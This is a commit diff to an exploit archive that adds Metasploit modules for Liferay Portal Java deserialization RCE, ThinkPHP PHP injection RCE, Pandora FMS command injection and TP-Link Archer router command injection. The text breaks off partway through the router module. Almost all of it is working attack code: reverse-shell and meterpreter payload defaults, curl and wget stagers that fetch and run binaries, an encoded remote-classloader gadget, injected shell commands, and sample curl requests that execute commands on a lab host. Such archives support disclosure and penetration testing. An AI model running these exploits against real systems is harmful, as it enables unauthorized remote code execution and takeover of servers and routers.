DB: 2020-04-17
8 changes to exploits/shellcodes VMware Fusion - USB Arbitrator Setuid Privilege Escalation (Metasploit) TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit) Liferay Portal - Java Unmarshalling via JSONWS RCE (Metasploit) ThinkPHP - Multiple PHP Injection RCEs (Metasploit) Pandora FMS - Ping Authenticated Remote Code Execution (Metasploit) PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit) DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit) Apache Solr - Remote Code Execution via Velocity Template (Metasploit)
This commit is contained in:
parent
decb2a46ee
commit
c3e827f657
9 changed files with 2859 additions and 0 deletions
177
exploits/java/remote/48332.msf
Normal file
177
exploits/java/remote/48332.msf
Normal file
|
@ -0,0 +1,177 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
|
||||
include Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Liferay Portal Java Unmarshalling via JSONWS RCE',
|
||||
'Description' => %q{
|
||||
This module exploits a Java unmarshalling vulnerability via JSONWS in
|
||||
Liferay Portal versions < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, and 7.2.1 GA2
|
||||
to execute code as the Liferay user. Tested against 7.2.0 GA1.
|
||||
},
|
||||
'Author' => [
|
||||
'Markus Wulftange', # Discovery
|
||||
'Thomas Etrillard', # PoC
|
||||
'wvu' # Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2020-7961'],
|
||||
['URL', 'https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html'],
|
||||
['URL', 'https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html'],
|
||||
['URL', 'https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271']
|
||||
],
|
||||
'DisclosureDate' => '2019-11-25', # Vendor advisory
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
['Liferay Portal < 6.2.5 GA6, 7.0.6 GA7, 7.1.3 GA4, 7.2.1 GA2', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_tcp'},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
# GET / response contains a Liferay-Portal header with version information
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
)
|
||||
|
||||
unless res
|
||||
return CheckCode::Unknown('Target did not respond to check request.')
|
||||
end
|
||||
|
||||
unless res.headers['Liferay-Portal']
|
||||
return CheckCode::Unknown(
|
||||
'Target did not respond with Liferay-Portal header.'
|
||||
)
|
||||
end
|
||||
|
||||
=begin
|
||||
Building the Liferay-Portal header:
|
||||
https://github.com/liferay/liferay-portal/blob/master/portal-kernel/src/com/liferay/portal/kernel/util/ReleaseInfo.java
|
||||
Liferay-Portal header data:
|
||||
https://github.com/liferay/liferay-portal/blob/master/release.properties
|
||||
|
||||
Example GET / response:
|
||||
HTTP/1.1 200
|
||||
[snip]
|
||||
Liferay-Portal: Liferay Community Edition Portal 7.2.0 CE GA1 (Mueller / Build 7200 / June 4, 2019)
|
||||
[snip]
|
||||
=end
|
||||
version, build = res.headers['Liferay-Portal'].scan(
|
||||
/^Liferay.*Portal ([\d.]+.*GA\d+).*Build (\d+)/
|
||||
).flatten
|
||||
|
||||
unless version && (build = Integer(build) rescue nil)
|
||||
return CheckCode::Detected(
|
||||
'Target did not respond with Liferay version and build.'
|
||||
)
|
||||
end
|
||||
|
||||
# XXX: Liferay versions older than 7.2.1 GA2 (build 7201) "may" be unpatched
|
||||
if build < 7201
|
||||
return CheckCode::Appears(
|
||||
"Liferay #{version} MAY be a vulnerable version. Please verify."
|
||||
)
|
||||
end
|
||||
|
||||
CheckCode::Safe("Liferay #{version} is NOT a vulnerable version.")
|
||||
end
|
||||
|
||||
def exploit
|
||||
# NOTE: Automatic check is implemented by the AutoCheck mixin
|
||||
super
|
||||
|
||||
# Start our HTTP server to provide remote classloading
|
||||
@classloader_uri = start_service
|
||||
|
||||
unless @classloader_uri
|
||||
fail_with(Failure::BadConfig, 'Could not start remote classloader server')
|
||||
end
|
||||
|
||||
print_good("Started remote classloader server at #{@classloader_uri}")
|
||||
|
||||
# Send our remote classloader gadget to the target, triggering the vuln
|
||||
send_request_gadget(
|
||||
normalize_uri(target_uri.path, '/api/jsonws/expandocolumn/update-column'),
|
||||
# Required POST parameters for /api/jsonws/expandocolumn/update-column:
|
||||
# https://github.com/liferay/liferay-portal/blob/master/portal-impl/src/com/liferay/portlet/expando/service/impl/ExpandoColumnServiceImpl.java
|
||||
'columnId' => rand(8..42), # Randomize for "evasion"
|
||||
'name' => rand(8..42), # Randomize for "evasion"
|
||||
'type' => rand(8..42) # Randomize for "evasion"
|
||||
)
|
||||
end
|
||||
|
||||
# Convenience method to send our gadget to a URI with desired POST params
|
||||
def send_request_gadget(uri, vars_post = {})
|
||||
print_status("Sending remote classloader gadget to #{full_uri(uri)}")
|
||||
|
||||
vars_post['+defaultData'] =
|
||||
'com.mchange.v2.c3p0.WrapperConnectionPoolDataSource'
|
||||
|
||||
vars_post['defaultData.userOverridesAsString'] =
|
||||
"HexAsciiSerializedMap:#{go_go_gadget.unpack1('H*')};"
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_post' => vars_post
|
||||
}, 0)
|
||||
end
|
||||
|
||||
# Generate all marshalsec payloads for the Jackson marshaller:
|
||||
# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -a
|
||||
def go_go_gadget
|
||||
# Implementation of the Jackson marshaller's C3P0WrapperConnPool gadget:
|
||||
# https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/gadgets/C3P0WrapperConnPool.java
|
||||
gadget = Rex::Text.decode_base64(
|
||||
<<~EOF
|
||||
rO0ABXNyAD1jb20ubWNoYW5nZS52Mi5uYW1pbmcuUmVmZXJlbmNlSW5kaXJlY3RvciRSZWZl
|
||||
cmVuY2VTZXJpYWxpemVkYhmF0NEqwhMCAARMAAtjb250ZXh0TmFtZXQAE0xqYXZheC9uYW1p
|
||||
bmcvTmFtZTtMAANlbnZ0ABVMamF2YS91dGlsL0hhc2h0YWJsZTtMAARuYW1lcQB+AAFMAAly
|
||||
ZWZlcmVuY2V0ABhMamF2YXgvbmFtaW5nL1JlZmVyZW5jZTt4cHBwcHNyABZqYXZheC5uYW1p
|
||||
bmcuUmVmZXJlbmNl6MaeoqjpjQkCAARMAAVhZGRyc3QAEkxqYXZhL3V0aWwvVmVjdG9yO0wA
|
||||
DGNsYXNzRmFjdG9yeXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAFGNsYXNzRmFjdG9yeUxvY2F0
|
||||
aW9ucQB+AAdMAAljbGFzc05hbWVxAH4AB3hwc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuv
|
||||
AQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0
|
||||
ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFuZy5PYmplY3Q7
|
||||
kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQABEhBQ0t0AANUSEV0AAZQTEFORVQ=
|
||||
EOF
|
||||
)
|
||||
|
||||
# Replace length-prefixed placeholder strings with our own
|
||||
gadget.sub!("\x00\x04HACK", packed_class_name)
|
||||
gadget.sub!("\x00\x03THE", packed_classloader_uri)
|
||||
gadget.sub("\x00\x06PLANET", packed_class_name)
|
||||
end
|
||||
|
||||
# Convenience method to pack the classloader URI as a length-prefixed string
|
||||
def packed_classloader_uri
|
||||
"#{[@classloader_uri.length].pack('n')}#{@classloader_uri}"
|
||||
end
|
||||
|
||||
end
|
274
exploits/linux/remote/48333.rb
Executable file
274
exploits/linux/remote/48333.rb
Executable file
|
@ -0,0 +1,274 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ThinkPHP Multiple PHP Injection RCEs',
|
||||
'Description' => %q{
|
||||
This module exploits one of two PHP injection vulnerabilities in the
|
||||
ThinkPHP web framework to execute code as the web user.
|
||||
|
||||
Versions up to and including 5.0.23 are exploitable, though 5.0.23 is
|
||||
vulnerable to a separate vulnerability. The module will automatically
|
||||
attempt to detect the version of the software.
|
||||
|
||||
Tested against versions 5.0.20 and 5.0.23 as can be found on Vulhub.
|
||||
},
|
||||
'Author' => [
|
||||
# Discovery by unknown threaty threat actors
|
||||
'wvu' # Module
|
||||
],
|
||||
'References' => [
|
||||
# https://www.google.com/search?q=thinkphp+rce, tbh
|
||||
['CVE', '2018-20062'], # NoneCMS 1.3 using ThinkPHP
|
||||
['CVE', '2019-9082'], # Open Source BMS 1.1.1 using ThinkPHP
|
||||
['URL', 'https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce'],
|
||||
['URL', 'https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce']
|
||||
],
|
||||
'DisclosureDate' => '2018-12-10', # Unknown discovery date
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
['Unix Command',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
|
||||
],
|
||||
['Linux Dropper',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Type' => :linux_dropper,
|
||||
'DefaultOptions' => {
|
||||
'CMDSTAGER::FLAVOR' => :curl,
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
# NOTE: You may want to tweak this for long-running commands like find(1)
|
||||
OptFloat.new('CmdOutputTimeout',
|
||||
[true, 'Timeout for cmd/unix/generic output', 3.5])
|
||||
])
|
||||
|
||||
# XXX: https://github.com/rapid7/metasploit-framework/issues/12963
|
||||
import_target_defaults
|
||||
end
|
||||
|
||||
=begin
|
||||
wvu@kharak:~$ curl -vs "http://127.0.0.1:8080/index.php?s=$((RANDOM))" | xmllint --html --xpath 'substring-after(//div[@class = "copyright"]/span[1]/text(), "V")' -
|
||||
* Trying 127.0.0.1...
|
||||
* TCP_NODELAY set
|
||||
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
|
||||
> GET /index.php?s=1353 HTTP/1.1
|
||||
> Host: 127.0.0.1:8080
|
||||
> User-Agent: curl/7.54.0
|
||||
> Accept: */*
|
||||
>
|
||||
< HTTP/1.1 404 Not Found
|
||||
< Date: Mon, 13 Apr 2020 06:42:15 GMT
|
||||
< Server: Apache/2.4.25 (Debian)
|
||||
< X-Powered-By: PHP/7.2.5
|
||||
< Content-Length: 7332
|
||||
< Content-Type: text/html; charset=utf-8
|
||||
<
|
||||
{ [7332 bytes data]
|
||||
* Connection #0 to host 127.0.0.1 left intact
|
||||
5.0.20wvu@kharak:~$
|
||||
=end
|
||||
def check
|
||||
# An unknown route will trigger the ThinkPHP copyright with version
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vars_get' => {'s' => rand_text_alpha(8..42)}
|
||||
)
|
||||
|
||||
unless res
|
||||
return CheckCode::Unknown('Target did not respond to check request.')
|
||||
end
|
||||
|
||||
unless res.code == 404 && res.body.match(/copyright.*ThinkPHP/m)
|
||||
return CheckCode::Unknown(
|
||||
'Target did not respond with ThinkPHP copyright.'
|
||||
)
|
||||
end
|
||||
|
||||
# Get the first copyright <span> containing the version
|
||||
version = res.get_html_document.at('//div[@class = "copyright"]/span')&.text
|
||||
|
||||
unless (version = version.scan(/^V([\d.]+)$/).flatten.first)
|
||||
return CheckCode::Detected(
|
||||
'Target did not respond with ThinkPHP version.'
|
||||
)
|
||||
end
|
||||
|
||||
# Make the parsed version a comparable ivar for automatic exploitation
|
||||
@version = Gem::Version.new(version)
|
||||
|
||||
if @version <= Gem::Version.new('5.0.23')
|
||||
return CheckCode::Appears("ThinkPHP #{@version} is a vulnerable version.")
|
||||
end
|
||||
|
||||
CheckCode::Safe("ThinkPHP #{@version} is NOT a vulnerable version.")
|
||||
end
|
||||
|
||||
def exploit
|
||||
# NOTE: Automatic check is implemented by the AutoCheck mixin
|
||||
super
|
||||
|
||||
# This is just extra insurance in case I screwed up the check method
|
||||
unless @version
|
||||
fail_with(Failure::NoTarget, 'Could not detect ThinkPHP version')
|
||||
end
|
||||
|
||||
print_status("Targeting ThinkPHP #{@version} automatically")
|
||||
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
execute_command(payload.encoded)
|
||||
when :linux_dropper
|
||||
# XXX: Only opts[:noconcat] may induce responses from the server
|
||||
execute_cmdstager
|
||||
else # This is just extra insurance in case I screwed up the info hash
|
||||
fail_with(Failure::NoTarget, "Could not select target #{target['Type']}")
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
vprint_status("Executing command: #{cmd}")
|
||||
|
||||
if @version < Gem::Version.new('5.0.23')
|
||||
exploit_less_than_5_0_23(cmd)
|
||||
elsif @version == Gem::Version.new('5.0.23')
|
||||
exploit_5_0_23(cmd)
|
||||
else # This is just extra insurance in case I screwed up the exploit method
|
||||
fail_with(Failure::NoTarget, "Could not target ThinkPHP #{@version}")
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
wvu@kharak:~$ curl -gvs "http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id" | head -1
|
||||
* Trying 127.0.0.1...
|
||||
* TCP_NODELAY set
|
||||
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
|
||||
> GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1
|
||||
> Host: 127.0.0.1:8080
|
||||
> User-Agent: curl/7.54.0
|
||||
> Accept: */*
|
||||
>
|
||||
< HTTP/1.1 200 OK
|
||||
< Date: Mon, 13 Apr 2020 06:43:45 GMT
|
||||
< Server: Apache/2.4.25 (Debian)
|
||||
< X-Powered-By: PHP/7.2.5
|
||||
< Vary: Accept-Encoding
|
||||
< Transfer-Encoding: chunked
|
||||
< Content-Type: text/html; charset=UTF-8
|
||||
<
|
||||
{ [60 bytes data]
|
||||
* Connection #0 to host 127.0.0.1 left intact
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
wvu@kharak:~$
|
||||
=end
|
||||
def exploit_less_than_5_0_23(cmd)
|
||||
# XXX: The server may block on executing our payload and won't respond
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vars_get' => {
|
||||
's' => '/Index/\\think\\app/invokefunction',
|
||||
'function' => 'call_user_func_array',
|
||||
'vars[0]' => 'system', # TODO: Debug ARCH_PHP
|
||||
'vars[1][]' => cmd
|
||||
},
|
||||
'partial' => true
|
||||
}, datastore['CmdOutputTimeout'])
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
vprint_good("Successfully executed command: #{cmd}")
|
||||
|
||||
return unless datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
|
||||
# HACK: Print half of the doubled-up command output
|
||||
vprint_line(res.body[0, res.body.length / 2])
|
||||
end
|
||||
|
||||
=begin
|
||||
wvu@kharak:~$ curl -vsd "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id" http://127.0.0.1:8081/index.php?s=captcha | head -1
|
||||
* Trying 127.0.0.1...
|
||||
* TCP_NODELAY set
|
||||
* Connected to 127.0.0.1 (127.0.0.1) port 8081 (#0)
|
||||
> POST /index.php?s=captcha HTTP/1.1
|
||||
> Host: 127.0.0.1:8081
|
||||
> User-Agent: curl/7.54.0
|
||||
> Accept: */*
|
||||
> Content-Length: 72
|
||||
> Content-Type: application/x-www-form-urlencoded
|
||||
>
|
||||
} [72 bytes data]
|
||||
* upload completely sent off: 72 out of 72 bytes
|
||||
< HTTP/1.1 200 OK
|
||||
< Date: Mon, 13 Apr 2020 06:44:05 GMT
|
||||
< Server: Apache/2.4.25 (Debian)
|
||||
< X-Powered-By: PHP/7.2.12
|
||||
< Vary: Accept-Encoding
|
||||
< Transfer-Encoding: chunked
|
||||
< Content-Type: text/html; charset=UTF-8
|
||||
<
|
||||
{ [60 bytes data]
|
||||
* Connection #0 to host 127.0.0.1 left intact
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
wvu@kharak:~$
|
||||
=end
|
||||
def exploit_5_0_23(cmd)
|
||||
# XXX: The server may block on executing our payload and won't respond
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
||||
'vars_get' => {'s' => 'captcha'},
|
||||
'vars_post' => {
|
||||
'_method' => '__construct',
|
||||
'filter[]' => 'system', # TODO: Debug ARCH_PHP
|
||||
'method' => 'get',
|
||||
'server[REQUEST_METHOD]' => cmd
|
||||
},
|
||||
'partial' => true
|
||||
}, datastore['CmdOutputTimeout'])
|
||||
|
||||
return unless res && res.code == 200
|
||||
|
||||
vprint_good("Successfully executed command: #{cmd}")
|
||||
|
||||
return unless datastore['PAYLOAD'] == 'cmd/unix/generic'
|
||||
|
||||
# Clean up output from cmd/unix/generic
|
||||
vprint_line(res.body.gsub(/\n<!DOCTYPE html>.*/m, ''))
|
||||
end
|
||||
|
||||
end
|
142
exploits/linux/remote/48334.rb
Executable file
142
exploits/linux/remote/48334.rb
Executable file
|
@ -0,0 +1,142 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Pandora FMS Ping Authenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.
|
||||
net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Onur ER <onur@onurer.net>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'DisclosureDate' => '2020-03-09',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic Target', {}]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Payload' => 'linux/x86/meterpreter/reverse_tcp'
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri, 'index.php')
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error 'Connection failed'
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.body =~ /Pandora/i
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
pandora_version = res.body.scan(/<div id="ver_num">v(.*?)<\/div>/).flatten.first
|
||||
version = Gem::Version.new(pandora_version)
|
||||
|
||||
print_status("Pandora FMS version #{version}") if version
|
||||
|
||||
if Gem::Version.new(version) <= Gem::Version.new('7.0NG')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def authenticate
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, 'index.php'),
|
||||
'vars_get' => {
|
||||
'login' => '1'
|
||||
},
|
||||
'vars_post' => {
|
||||
'nick' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'login_button' => 'Login'
|
||||
}
|
||||
})
|
||||
|
||||
return auth_succeeded?(res)
|
||||
end
|
||||
|
||||
def auth_succeeded?(res)
|
||||
unless res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
|
||||
print_error('Authentication failed!')
|
||||
return false
|
||||
end
|
||||
print_good('Successfully authenticated')
|
||||
print_status('Attempting to retrieve session cookie')
|
||||
@cookie = res.get_cookies
|
||||
unless @cookie.include?('PHPSESSID')
|
||||
print_error('Error retrieving cookie!')
|
||||
return false
|
||||
end
|
||||
print_good("Successfully retrieved session cookie: #{@cookie}")
|
||||
true
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Exploiting...')
|
||||
execute_cmdstager(flavor: :wget, nospace: true)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
print_status("Attempting to authenticate using (#{datastore['USERNAME']}:#{datastore['PASSWORD']})")
|
||||
auth = authenticate
|
||||
unless auth
|
||||
fail_with Failure::NoAccess, 'Please provide a valid username and password.'
|
||||
end
|
||||
|
||||
id_agente = 1
|
||||
while !session_created? && id_agente <= 10
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, 'index.php'),
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => {
|
||||
'sec' => 'estado',
|
||||
'sec2' => 'operation/agentes/ver_agente',
|
||||
'tab' => 'extension',
|
||||
'id_agente' => "#{id_agente}",
|
||||
'id_extension' => 'network_tools'
|
||||
},
|
||||
'vars_post' => {
|
||||
'operation' => '2',
|
||||
'select_ips' => ";#{cmd}",
|
||||
'community' => 'public',
|
||||
'submit' => 'Execute'
|
||||
}
|
||||
})
|
||||
|
||||
id_agente += 1
|
||||
end
|
||||
end
|
||||
end
|
391
exploits/linux_mips/remote/48331.rb
Executable file
391
exploits/linux_mips/remote/48331.rb
Executable file
|
@ -0,0 +1,391 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'openssl'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on
|
||||
the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
|
||||
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
|
||||
not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command
|
||||
as root, including downloading and executing a binary from another host.
|
||||
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
|
||||
Radek Domanski).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
|
||||
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],
|
||||
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],
|
||||
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],
|
||||
[ 'CVE', '2020-10882'],
|
||||
[ 'CVE', '2020-10883'],
|
||||
[ 'CVE', '2020-10884'],
|
||||
[ 'ZDI', '20-334'],
|
||||
[ 'ZDI', '20-335'],
|
||||
[ 'ZDI', '20-336' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'Payload' => {},
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
|
||||
'WfsDelay' => 15,
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]
|
||||
],
|
||||
'DisclosureDate' => "Mar 25 2020",
|
||||
'DefaultTarget' => 0,
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(20002)
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/webpages/app.1564127413977.manifest',
|
||||
'method' => 'GET',
|
||||
'rport' => 80
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
pass
|
||||
end
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def calc_checksum(packet)
|
||||
# reference table used to calculate the packet checksum
|
||||
# used by tdpd_pkt_calc_checksum (0x4037f0)
|
||||
# located at offset 0x0416e90 in the binary
|
||||
reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,
|
||||
0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,
|
||||
0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,
|
||||
0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,
|
||||
0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,
|
||||
0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,
|
||||
0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,
|
||||
0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,
|
||||
0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,
|
||||
0x0f, 0x3d, 0x63, 0x8d, 0x08, 0x0d, 0xf5, 0x3b, 0x6e, 0x20, 0xc8, 0x4c, 0x69, 0x10,
|
||||
